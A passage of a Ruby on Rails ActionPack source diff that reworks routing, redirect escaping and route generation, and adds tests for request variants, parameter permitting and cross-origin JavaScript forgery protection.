+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -69,7 +69,7 @@ module ActionDispatch
end
def internal?
- controller.to_s =~ %r{\Arails/(info|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}}
+ controller.to_s =~ %r{\Arails/(info|mailers|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}\z}
end
def engine?
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index 846a6345cb..18f37dc732 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/hash/reverse_merge'
require 'active_support/core_ext/hash/slice'
require 'active_support/core_ext/enumerable'
require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/module/remove_method'
require 'active_support/inflector'
require 'action_dispatch/routing/redirection'
@@ -217,8 +218,12 @@ module ActionDispatch
controller ||= default_controller
action ||= default_action
- unless controller.is_a?(Regexp)
- controller = [@scope[:module], controller].compact.join("/").presence
+ if @scope[:module] && !controller.is_a?(Regexp)
+ if controller =~ %r{\A/}
+ controller = controller[1..-1]
+ else
+ controller = [@scope[:module], controller].compact.join("/").presence
+ end
end
if controller.is_a?(String) && controller =~ %r{\A/}
@@ -502,11 +507,12 @@ module ActionDispatch
raise "A rack application must be specified" unless path
options[:as] ||= app_name(app)
+ target_as = name_for_action(options[:as], path)
options[:via] ||= :all
match(path, options.merge(:to => app, :anchor => false, :format => false))
- define_generate_prefix(app, options[:as])
+ define_generate_prefix(app, target_as)
self
end
@@ -545,11 +551,11 @@ module ActionDispatch
_routes = @set
app.routes.define_mounted_helper(name)
app.routes.singleton_class.class_eval do
- define_method :mounted? do
+ redefine_method :mounted? do
true
end
- define_method :_generate_prefix do |options|
+ redefine_method :_generate_prefix do |options|
prefix_options = options.slice(*_route.segment_keys)
# we must actually delete prefix segment keys to avoid passing them to next url_for
_route.segment_keys.each { |k| options.delete(k) }
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index 3e54c7e71c..b08e62543b 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -26,14 +26,19 @@ module ActionDispatch
end
uri = URI.parse(path(req.symbolized_path_parameters, req))
+
+ unless uri.host
+ if relative_path?(uri.path)
+ uri.path = "#{req.script_name}/#{uri.path}"
+ elsif uri.path.empty?
+ uri.path = req.script_name.empty? ? "/" : req.script_name
+ end
+ end
+
uri.scheme ||= req.scheme
uri.host ||= req.host
uri.port ||= req.port unless req.standard_port?
- if relative_path?(uri.path)
- uri.path = "#{req.script_name}/#{uri.path}"
- end
-
body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
headers = {
@@ -57,11 +62,33 @@ module ActionDispatch
def relative_path?(path)
path && !path.empty? && path[0] != '/'
end
+
+ def escape(params)
+ Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ end
+
+ def escape_fragment(params)
+ Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_fragment(v)] }]
+ end
+
+ def escape_path(params)
+ Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_path(v)] }]
+ end
end
class PathRedirect < Redirect
+ URL_PARTS = /\A([^?]+)?(\?[^#]+)?(#.+)?\z/
+
def path(params, request)
- (params.empty? || !block.match(/%\{\w*\}/)) ? block : (block % escape(params))
+ if block.match(URL_PARTS)
+ path = interpolation_required?($1, params) ? $1 % escape_path(params) : $1
+ query = interpolation_required?($2, params) ? $2 % escape(params) : $2
+ fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3
+
+ "#{path}#{query}#{fragment}"
+ else
+ interpolation_required?(block, params) ? block % escape(params) : block
+ end
end
def inspect
@@ -69,8 +96,8 @@ module ActionDispatch
end
private
- def escape(params)
- Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+ def interpolation_required?(string, params)
+ !params.empty? && string && string.match(/%\{\w*\}/)
end
end
@@ -90,22 +117,22 @@ module ActionDispatch
url_options[:path] = (url_options[:path] % escape_path(params))
end
- if relative_path?(url_options[:path])
- url_options[:path] = "/#{url_options[:path]}"
- url_options[:script_name] = request.script_name
+ unless options[:host] || options[:domain]
+ if relative_path?(url_options[:path])
+ url_options[:path] = "/#{url_options[:path]}"
+ url_options[:script_name] = request.script_name
+ elsif url_options[:path].empty?
+ url_options[:path] = request.script_name.empty? ? "/" : ""
+ url_options[:script_name] = request.script_name
+ end
end
-
+
ActionDispatch::Http::URL.url_for url_options
end
def inspect
"redirect(#{status}, #{options.map{ |k,v| "#{k}: #{v}" }.join(', ')})"
end
-
- private
- def escape_path(params)
- Hash[params.map{ |k,v| [k, URI.parser.escape(v)] }]
- end
end
module Redirection
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index b8abdabca5..a03fb4cee7 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -163,9 +163,10 @@ module ActionDispatch
def initialize(route, options)
super
- @path_parts = @route.required_parts
- @arg_size = @path_parts.size
- @string_route = @route.optimized_path
+ @klass = Journey::Router::Utils
+ @required_parts = @route.required_parts
+ @arg_size = @required_parts.size
+ @optimized_path = @route.optimized_path
end
def call(t, args)
@@ -182,43 +183,36 @@ module ActionDispatch
private
def optimized_helper(args)
- path = @string_route.dup
- klass = Journey::Router::Utils
+ params = Hash[parameterize_args(args)]
+ missing_keys = missing_keys(params)
- @path_parts.zip(args) do |part, arg|
- parameterized_arg = arg.to_param
+ unless missing_keys.empty?
+ raise_generation_error(params, missing_keys)
+ end
- if parameterized_arg.nil? || parameterized_arg.empty?
- raise_generation_error(args)
- end
+ @optimized_path.map{ |segment| replace_segment(params, segment) }.join
+ end
- # Replace each route parameter
- # e.g. :id for regular parameter or *path for globbing
- # with ruby string interpolation code
- path.gsub!(/(\*|:)#{part}/, klass.escape_fragment(parameterized_arg))
- end
- path
+ def replace_segment(params, segment)
+ Symbol === segment ? @klass.escape_fragment(params[segment]) : segment
end
def optimize_routes_generation?(t)
t.send(:optimize_routes_generation?)
end
- def raise_generation_error(args)
- parts, missing_keys = [], []
-
- @path_parts.zip(args) do |part, arg|
- parameterized_arg = arg.to_param
-
- if parameterized_arg.nil? || parameterized_arg.empty?
- missing_keys << part
- end
+ def parameterize_args(args)
+ @required_parts.zip(args.map(&:to_param))
+ end
- parts << [part, arg]
- end
+ def missing_keys(args)
+ args.select{ |part, arg| arg.nil? || arg.empty? }.keys
+ end
- message = "No route matches #{Hash[parts].inspect}"
- message << " missing required keys: #{missing_keys.inspect}"
+ def raise_generation_error(args, missing_keys)
+ constraints = Hash[@route.requirements.merge(args).sort]
+ message = "No route matches #{constraints.inspect}"
+ message << " missing required keys: #{missing_keys.sort.inspect}"
raise ActionController::UrlGenerationError, message
end
@@ -226,7 +220,7 @@ module ActionDispatch
def initialize(route, options)
@options = options
- @segment_keys = route.segment_keys
+ @segment_keys = route.segment_keys.uniq
@route = route
end
@@ -361,7 +355,7 @@ module ActionDispatch
include UrlFor
end
- # Contains all the mounted helpers accross different
+ # Contains all the mounted helpers across different
# engines and the `main_app` helper for the application.
# You can include this in your classes if you want to
# access routes for other engines.
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
index 496682e8bd..f1f998d932 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -211,7 +211,7 @@ module ActionDispatch
def fail_on(exception_class)
yield
rescue exception_class => e
- raise MiniTest::Assertion, e.message
+ raise Minitest::Assertion, e.message
end
end
end
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index 9beb30307b..cc6b763093 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -137,7 +137,7 @@ module ActionDispatch
class Session
DEFAULT_HOST = "www.example.com"
- include MiniTest::Assertions
+ include Minitest::Assertions
include TestProcess, RequestHelpers, Assertions
%w( status status_message headers body redirect? ).each do |method|
@@ -242,7 +242,7 @@ module ActionDispatch
@https = flag
end
- # Return +true+ if the session is mimicking a secure HTTPS request.
+ # Returns +true+ if the session is mimicking a secure HTTPS request.
#
# if session.https?
# ...
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
index ad5acd8080..77f656d6f1 100644
--- a/actionpack/lib/action_pack.rb
+++ b/actionpack/lib/action_pack.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
index fd08f392aa..a51f6a434a 100644
--- a/actionpack/lib/action_pack/version.rb
+++ b/actionpack/lib/action_pack/version.rb
@@ -1,7 +1,7 @@
module ActionPack
# Returns the version of the currently loaded ActionPack as a Gem::Version
def self.version
- Gem::Version.new "4.1.0.beta"
+ Gem::Version.new "4.1.0.beta1"
end
module VERSION #:nodoc:
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
index 5709ad0378..b1a5044399 100644
--- a/actionpack/test/abstract/collector_test.rb
+++ b/actionpack/test/abstract/collector_test.rb
@@ -37,7 +37,7 @@ module AbstractController
test "does not register unknown mime types" do
collector = MyCollector.new
- assert_raise NameError do
+ assert_raise NoMethodError do
collector.unknown
end
end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index a0d90f7eee..37e993b4e5 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -43,6 +43,9 @@ Thread.abort_on_exception = true
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Register danish language for testing
I18n.backend.store_translations 'da', {}
I18n.backend.store_translations 'pt-BR', {}
@@ -246,8 +249,6 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
end
end
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
module ActionController
class Base
include ActionController::Testing
@@ -333,7 +334,6 @@ class ThreadsController < ResourcesController; end
class MessagesController < ResourcesController; end
class CommentsController < ResourcesController; end
class ReviewsController < ResourcesController; end
-class AuthorsController < ResourcesController; end
class LogosController < ResourcesController; end
class AccountsController < ResourcesController; end
@@ -344,8 +344,6 @@ class PreferencesController < ResourcesController; end
module Backoffice
class ProductsController < ResourcesController; end
- class TagsController < ResourcesController; end
- class ManufacturersController < ResourcesController; end
class ImagesController < ResourcesController; end
module Admin
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
index 8eec98e916..5e64cae7e2 100644
--- a/actionpack/test/assertions/response_assertions_test.rb
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -19,7 +19,7 @@ module ActionDispatch
@response = FakeResponse.new sym
assert_response sym
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :unauthorized
}
end
@@ -29,11 +29,11 @@ module ActionDispatch
@response = FakeResponse.new 400
assert_response 400
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :unauthorized
}
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response 500
}
end
@@ -42,11 +42,11 @@ module ActionDispatch
@response = FakeResponse.new 401
assert_response :unauthorized
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :ok
}
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :success
}
end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
index ba4cffcd3e..b6b5a218cc 100644
--- a/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -444,22 +444,18 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
def test_assert_response_uses_exception_message
@controller = AssertResponseWithUnexpectedErrorController.new
- get :index
+ e = assert_raise RuntimeError, 'Expected non-success response' do
+ get :index
+ end
assert_response :success
- flunk 'Expected non-success response'
- rescue RuntimeError => e
- assert e.message.include?('FAIL')
+ assert_includes 'FAIL', e.message
end
def test_assert_response_failure_response_with_no_exception
@controller = AssertResponseWithUnexpectedErrorController.new
get :show
- assert_response :success
- flunk 'Expected non-success response'
- rescue ActiveSupport::TestCase::Assertion
- # success
- rescue
- flunk "assert_response failed to handle failure response with missing, but optional, exception."
+ assert_response 500
+ assert_equal 'Boom', response.body
end
end
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index 3b5d7ef446..d3efca5b6f 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -893,17 +893,6 @@ class ControllerWithFilterInstance < PostsController
around_filter YieldingFilter.new, :only => :raises_after
end
-class ControllerWithFilterMethod < PostsController
- class YieldingFilter < DefaultFilter
- def around(controller)
- yield
- raise After
- end
- end
-
- around_filter YieldingFilter.new.method(:around), :only => :raises_after
-end
-
class ControllerWithProcFilter < PostsController
around_filter(:only => :no_raise) do |c,b|
c.instance_variable_set(:"@before", true)
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
index 9f1c168209..52a0bc9aa3 100644
--- a/actionpack/test/controller/http_digest_authentication_test.rb
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -21,7 +21,7 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
def authenticate
authenticate_or_request_with_http_digest("SuperSecret") do |username|
- # Return the password
+ # Returns the password
USERS[username]
end
end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
index 6b02eedaed..c95ef8a0c7 100644
--- a/actionpack/test/controller/localized_templates_test.rb
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -34,4 +34,15 @@ class LocalizedTemplatesTest < ActionController::TestCase
get :hello_world
assert_equal "Gutten Tag", @response.body
end
+
+ def test_localized_template_has_correct_header_with_no_format_in_template_name
+ old_locale = I18n.locale
+ I18n.locale = :it
+
+ get :hello_world
+ assert_equal "Ciao Mondo", @response.body
+ assert_equal "text/html", @response.content_type
+ ensure
+ I18n.locale = old_locale
+ end
end
diff --git a/actionpack/test/controller/mime/respond_to_test.rb b/actionpack/test/controller/mime/respond_to_test.rb
index 774dabe105..84e4936f31 100644
--- a/actionpack/test/controller/mime/respond_to_test.rb
+++ b/actionpack/test/controller/mime/respond_to_test.rb
@@ -146,6 +146,106 @@ class RespondToController < ActionController::Base
end
end
+ def variant_with_implicit_rendering
+ end
+
+ def variant_with_format_and_custom_render
+ request.variant = :mobile
+
+ respond_to do |type|
+ type.html { render text: "mobile" }
+ end
+ end
+
+ def multiple_variants_for_format
+ respond_to do |type|
+ type.html do |html|
+ html.tablet { render text: "tablet" }
+ html.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_plus_none_for_format
+ respond_to do |format|
+ format.html do |variant|
+ variant.phone { render text: "phone" }
+ variant.none
+ end
+ end
+ end
+
+ def variant_inline_syntax
+ respond_to do |format|
+ format.js { render text: "js" }
+ format.html.none { render text: "none" }
+ format.html.phone { render text: "phone" }
+ end
+ end
+
+ def variant_inline_syntax_without_block
+ respond_to do |format|
+ format.js
+ format.html.none
+ format.html.phone
+ end
+ end
+
+ def variant_any
+ respond_to do |format|
+ format.html do |variant|
+ variant.any(:tablet, :phablet){ render text: "any" }
+ variant.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_any_any
+ respond_to do |format|
+ format.html do |variant|
+ variant.any { render text: "any" }
+ variant.phone { render text: "phone" }
+ end
+ end
+ end
+
+ def variant_inline_any
+ respond_to do |format|
+ format.html.any(:tablet, :phablet){ render text: "any" }
+ format.html.phone { render text: "phone" }
+ end
+ end
+
+ def variant_inline_any_any
+ respond_to do |format|
+ format.html.phone { render text: "phone" }
+ format.html.any { render text: "any" }
+ end
+ end
+
+ def variant_any_implicit_render
+ respond_to do |format|
+ format.html.phone
+ format.html.any(:tablet, :phablet)
+ end
+ end
+
+ def variant_any_with_none
+ respond_to do |format|
+ format.html.any(:none, :phone){ render text: "none or phone" }
+ end
+ end
+
+ def format_any_variant_any
+ respond_to do |format|
+ format.html { render text: "HTML" }
+ format.any(:js, :xml) do |variant|
+ variant.phone{ render text: "phone" }
+ variant.any(:tablet, :phablet){ render text: "tablet" }
+ end
+ end
+ end
+
protected
def set_layout
case action_name
@@ -490,4 +590,154 @@ class RespondToControllerTest < ActionController::TestCase
get :using_defaults, :format => "invalidformat"
end
end
+
+ def test_invalid_variant
+ @request.variant = :invalid
+ assert_raises(ActionView::MissingTemplate) do
+ get :variant_with_implicit_rendering
+ end
+ end
+
+ def test_variant_not_set_regular_template_missing
+ assert_raises(ActionView::MissingTemplate) do
+ get :variant_with_implicit_rendering
+ end
+ end
+
+ def test_variant_with_implicit_rendering
+ @request.variant = :mobile
+ get :variant_with_implicit_rendering
+ assert_equal "text/html", @response.content_type
+ assert_equal "mobile", @response.body
+ end
+
+ def test_variant_with_format_and_custom_render
+ @request.variant = :phone
+ get :variant_with_format_and_custom_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "mobile", @response.body
+ end
+
+ def test_multiple_variants_for_format
+ @request.variant = :tablet
+ get :multiple_variants_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "tablet", @response.body
+ end
+
+ def test_no_variant_in_variant_setup
+ get :variant_plus_none_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "none", @response.body
+ end
+
+ def test_variant_inline_syntax
+ get :variant_inline_syntax, format: :js
+ assert_equal "text/javascript", @response.content_type
+ assert_equal "js", @response.body
+
+ get :variant_inline_syntax
+ assert_equal "text/html", @response.content_type
+ assert_equal "none", @response.body
+
+ @request.variant = :phone
+ get :variant_inline_syntax
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_inline_syntax_without_block
+ @request.variant = :phone
+ get :variant_inline_syntax_without_block
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_any
+ @request.variant = :phone
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :tablet
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+
+ @request.variant = :phablet
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_any_any
+ @request.variant = :phone
+ get :variant_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :yolo
+ get :variant_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_inline_any
+ @request.variant = :phone
+ get :variant_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :tablet
+ get :variant_inline_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+
+ @request.variant = :phablet
+ get :variant_inline_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_inline_any_any
+ @request.variant = :phone
+ get :variant_inline_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+
+ @request.variant = :yolo
+ get :variant_inline_any_any
+ assert_equal "text/html", @response.content_type
+ assert_equal "any", @response.body
+ end
+
+ def test_variant_any_implicit_render
+ @request.variant = :tablet
+ get :variant_any_implicit_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "tablet", @response.body
+
+ @request.variant = :phablet
+ get :variant_any_implicit_render
+ assert_equal "text/html", @response.content_type
+ assert_equal "phablet", @response.body
+ end
+
+ def test_variant_any_with_none
+ get :variant_any_with_none
+ assert_equal "text/html", @response.content_type
+ assert_equal "none or phone", @response.body
+
+ @request.variant = :phone
+ get :variant_any_with_none
+ assert_equal "text/html", @response.content_type
+ assert_equal "none or phone", @response.body
+ end
+
+ def test_format_any_variant_any
+ @request.variant = :tablet
+ get :format_any_variant_any, format: :js
+ assert_equal "text/javascript", @response.content_type
+ assert_equal "tablet", @response.body
+ end
end
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
index b60c5f058d..33a91d72d9 100644
--- a/actionpack/test/controller/parameters/parameters_permit_test.rb
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -8,9 +8,16 @@ class ParametersPermitTest < ActiveSupport::TestCase
end
setup do
- @params = ActionController::Parameters.new({ person: {
- age: "32", name: { first: "David", last: "Heinemeier Hansson" }
- }})
+ @params = ActionController::Parameters.new(
+ person: {
+ age: '32',
+ name: {
+ first: 'David',
+ last: 'Heinemeier Hansson'
+ },
+ addresses: [{city: 'Chicago', state: 'Illinois'}]
+ }
+ )
@struct_fields = []
%w(0 1 12).each do |number|
@@ -153,6 +160,18 @@ class ParametersPermitTest < ActiveSupport::TestCase
assert_equal nil, params[:foo]
end
+ test 'hashes in array values get wrapped' do
+ params = ActionController::Parameters.new(foo: [{}, {}])
+ params[:foo].each do |hash|
+ assert !hash.permitted?
+ end
+ end
+
+ test 'arrays are converted at most once' do
+ params = ActionController::Parameters.new(foo: [{}])
+ assert params[:foo].equal?(params[:foo])
+ end
+
test "fetch doesnt raise ParameterMissing exception if there is a default" do
assert_equal "monkey", @params.fetch(:foo, "monkey")
assert_equal "monkey", @params.fetch(:foo) { "monkey" }
@@ -221,6 +240,7 @@ class ParametersPermitTest < ActiveSupport::TestCase
assert @params.permitted?
assert @params[:person].permitted?
assert @params[:person][:name].permitted?
+ assert @params[:person][:addresses][0].permitted?
end
test "permitted takes a default value when Parameters.permit_all_parameters is set" do
diff --git a/actionpack/test/controller/render_js_test.rb b/actionpack/test/controller/render_js_test.rb
index f070109b27..d550422a2f 100644
--- a/actionpack/test/controller/render_js_test.rb
+++ b/actionpack/test/controller/render_js_test.rb
@@ -22,7 +22,7 @@ class RenderJSTest < ActionController::TestCase
tests TestController
def test_render_vanilla_js
- get :render_vanilla_js_hello
+ xhr :get, :render_vanilla_js_hello
assert_equal "alert('hello')", @response.body
assert_equal "text/javascript", @response.content_type
end
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
index 7c0a6bd67e..de8d1cbd9b 100644
--- a/actionpack/test/controller/render_json_test.rb
+++ b/actionpack/test/controller/render_json_test.rb
@@ -100,13 +100,13 @@ class RenderJsonTest < ActionController::TestCase
end
def test_render_json_with_callback
- get :render_json_hello_world_with_callback
+ xhr :get, :render_json_hello_world_with_callback
assert_equal 'alert({"hello":"world"})', @response.body
assert_equal 'text/javascript', @response.content_type
end
def test_render_json_with_custom_content_type
- get :render_json_with_custom_content_type
+ xhr :get, :render_json_with_custom_content_type
assert_equal '{"hello":"world"}', @response.body
assert_equal 'text/javascript', @response.content_type
end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index f41287381a..26806fb03f 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -529,4 +529,4 @@ class HeadRenderTest < ActionController::TestCase
assert_equal "something", @response.headers["X-Custom-Header"]
assert_response :forbidden
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index 727db79241..1f5fc06410 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -52,18 +52,36 @@ module RequestForgeryProtectionActions
render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
end
+ def same_origin_js
+ render js: 'foo();'
+ end
+
+ def negotiate_same_origin
+ respond_to do |format|
+ format.js { same_origin_js }
+ end
+ end
+
+ def cross_origin_js
+ same_origin_js
+ end
+
+ def negotiate_cross_origin
+ negotiate_same_origin
+ end
+
def rescue_action(e) raise e end
end
# sample controllers
class RequestForgeryProtectionControllerUsingResetSession < ActionController::Base
include RequestForgeryProtectionActions
- protect_from_forgery :only => %w(index meta), :with => :reset_session
+ protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :reset_session
end
class RequestForgeryProtectionControllerUsingException < ActionController::Base
include RequestForgeryProtectionActions
- protect_from_forgery :only => %w(index meta), :with => :exception
+ protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :exception
end
class RequestForgeryProtectionControllerUsingNullSession < ActionController::Base
@@ -201,7 +219,7 @@ module RequestForgeryProtectionTests
end
def test_should_not_allow_post_without_token_irrespective_of_format
- assert_blocked { post :index, :format=>'xml' }
+ assert_blocked { post :index, format: 'xml' }
end
def test_should_not_allow_patch_without_token
@@ -271,6 +289,48 @@ module RequestForgeryProtectionTests
end
end
+ def test_should_only_allow_same_origin_js_get_with_xhr_header
+ assert_cross_origin_blocked { get :same_origin_js }
+ assert_cross_origin_blocked { get :same_origin_js, format: 'js' }
+ assert_cross_origin_blocked do
+ @request.accept = 'text/javascript'
+ get :negotiate_same_origin
+ end
+
+ assert_cross_origin_not_blocked { xhr :get, :same_origin_js }
+ assert_cross_origin_not_blocked { xhr :get, :same_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ xhr :get, :negotiate_same_origin
+ end
+ end
+
+ # Allow non-GET requests since GET is all a remote <script> tag can muster.
+ def test_should_allow_non_get_js_without_xhr_header
+ assert_cross_origin_not_blocked { post :same_origin_js, custom_authenticity_token: @token }
+ assert_cross_origin_not_blocked { post :same_origin_js, format: 'js', custom_authenticity_token: @token }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ post :negotiate_same_origin, custom_authenticity_token: @token
+ end
+ end
+
+ def test_should_only_allow_cross_origin_js_get_without_xhr_header_if_protection_disabled
+ assert_cross_origin_not_blocked { get :cross_origin_js }
+ assert_cross_origin_not_blocked { get :cross_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ get :negotiate_cross_origin
+ end
+
+ assert_cross_origin_not_blocked { xhr :get, :cross_origin_js }
+ assert_cross_origin_not_blocked { xhr :get, :cross_origin_js, format: 'js' }
+ assert_cross_origin_not_blocked do
+ @request.accept = 'text/javascript'
+ xhr :get, :negotiate_cross_origin
+ end
+ end
+
def assert_blocked
session[:something_like_user_id] = 1
yield
@@ -282,6 +342,16 @@ module RequestForgeryProtectionTests
assert_nothing_raised { yield }
assert_response :success
end
+
+ def assert_cross_origin_blocked
+ assert_raises(ActionController::InvalidCrossOriginRequest) do
+ yield
+ end
+ end
+
+ def assert_cross_origin_not_blocked
+ assert_not_blocked { yield }
+ end
end
# OK let's get our test on
@@ -305,13 +375,13 @@ class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController
end
end
-class NullSessionDummyKeyGenerator
- def generate_key(secret)
- '03312270731a2ed0d11ed091c2338a06'
+class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
+ class NullSessionDummyKeyGenerator
+ def generate_key(secret)
+ '03312270731a2ed0d11ed091c2338a06'
+ end
end
-end
-class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
def setup
@request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
end
@@ -375,8 +445,8 @@ end
class CustomAuthenticityParamControllerTest < ActionController::TestCase
def setup
- ActionController::Base.request_forgery_protection_token = :custom_token_name
super
+ ActionController::Base.request_forgery_protection_token = :custom_token_name
end
def teardown
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
index 2c84e95c6e..df453a0251 100644
--- a/actionpack/test/controller/routing_test.rb
+++ b/actionpack/test/controller/routing_test.rb
@@ -1833,11 +1833,11 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
assert_equal({:controller => 'foo', :action => 'id_default', :id => 1 }, @routes.recognize_path('/id_default'))
assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :get))
assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :post))
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :put) }
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :delete) }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :put) }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :delete) }
assert_equal({:controller => 'posts', :action => 'index', :optional => 'bar'}, @routes.recognize_path('/optional/bar'))
- assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/optional') }
+ assert_raise(ActionController::RoutingError) { @routes.recognize_path('/optional') }
assert_equal({:controller => 'posts', :action => 'show', :id => '1', :ws => true}, @routes.recognize_path('/ws/posts/show/1', :method => :get))
assert_equal({:controller => 'posts', :action => 'list', :ws => true}, @routes.recognize_path('/ws/posts/list', :method => :get))
